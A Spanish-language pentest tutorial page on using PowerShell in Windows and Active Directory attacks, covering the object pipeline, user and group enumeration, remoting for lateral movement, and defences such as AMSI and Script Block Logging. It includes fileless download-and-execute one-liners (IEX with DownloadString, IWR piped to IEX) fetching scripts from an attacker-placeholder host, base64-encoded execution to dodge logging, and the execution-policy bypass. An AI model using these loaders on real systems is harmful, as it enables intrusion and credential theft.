PowerShell para hacking
PowerShell es, a la vez, la herramienta de administración de Windows y el arma favorita del atacante en ese entorno. Está instalado en todas partes, es de confianza para el sistema, accede a todo el .NET Framework y a WMI, y permite operar sin tocar disco (fileless). Para el área de Windows & AD, saber PowerShell es la diferencia entre copiar comandos y entender lo que haces.
Diferencias con cmd y lo básico
Sección titulada «Diferencias con cmd y lo básico»A diferencia de cmd (que pasa texto), PowerShell pasa objetos entre comandos (cmdlets), lo que hace el procesamiento mucho más potente.
Get-ChildItem # ls / dirGet-Content file.txt # catGet-Process # procesos (objetos, no texto)Get-ServiceGet-Help <cmdlet> # ayuda integrada# los cmdlets siguen Verbo-Sustantivo: Get-, Set-, New-, Invoke-, Start-Pipeline de objetos (el superpoder)
Sección titulada «Pipeline de objetos (el superpoder)»Get-Process | Where-Object {$_.CPU -gt 100} | Sort-Object CPU -Descending | Select-Object -First 5Get-Service | Where-Object {$_.Status -eq "Running"}$_ es el objeto actual del pipeline; Where-Object filtra, Select-Object elige propiedades, Sort-Object ordena.
Enumeración de Windows/AD con PowerShell
Sección titulada «Enumeración de Windows/AD con PowerShell»whoami ; $env:USERNAME ; $env:COMPUTERNAMEGet-LocalUser ; Get-LocalGroupMember Administrators# módulo de AD / PowerViewGet-ADUser -Filter * ; Get-ADGroupMember "Domain Admins"Get-NetUser ; Get-NetGroup ; Get-NetComputer # PowerView (ver ad-enum)Descarga y ejecución en memoria (fileless)
Sección titulada «Descarga y ejecución en memoria (fileless)»Lo que hace a PowerShell tan usado por atacantes: ejecutar sin escribir en disco.
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/script.ps1')# o con Invoke-WebRequestIWR http://TU_IP/tool.ps1 | IEX# ejecución base64 (evade logging simple)powershell -enc <base64>Así se cargan en memoria herramientas como PowerView, Invoke-Mimikatz, PowerUp.
Remoting (administración/lateral)
Sección titulada «Remoting (administración/lateral)»Enter-PSSession -ComputerName host -Credential (Get-Credential)Invoke-Command -ComputerName host -ScriptBlock { whoami }PowerShell Remoting (WinRM, puerto 5985) es administración legítima y movimiento lateral a la vez (ver Movimiento lateral).
Lo que debe saber el Blue Team (y por qué te importa)
Sección titulada «Lo que debe saber el Blue Team (y por qué te importa)»PowerShell es muy vigilado: Script Block Logging (4104) registra el script tras desofuscar, AMSI lo inspecciona antes de ejecutar, y Constrained Language Mode limita qué puedes hacer. Por eso el área de evasión (ver Evasión de defensas (AMSI / AV / EDR)) dedica tanto a saltarse estas defensas. La Execution Policy NO es seguridad: se salta con -ep bypass.
Por qué importa en seguridad
Sección titulada «Por qué importa en seguridad»En un entorno Windows/AD, PowerShell es tu intérprete de enumeración, tu cargador de herramientas en memoria, y tu mecanismo de movimiento lateral. Casi todas las tools ofensivas de AD (PowerView, PowerUp, Rubeus vía reflection) se usan desde PowerShell. Entenderlo es operar con criterio en el mayor terreno del pentest interno.
Checklist de dominio
Sección titulada «Checklist de dominio»- Entiendo que PowerShell pasa objetos, no texto
- Uso el pipeline con Where-Object/Select-Object/Sort-Object y $_
- Enumero usuarios, grupos y procesos (Get-*)
- Cargo scripts en memoria con IEX/DownloadString (fileless)
- Uso PowerShell Remoting (Enter-PSSession/Invoke-Command)
- Sé qué es AMSI, Script Block Logging y Constrained Language Mode
- Entiendo que Execution Policy no es un control de seguridad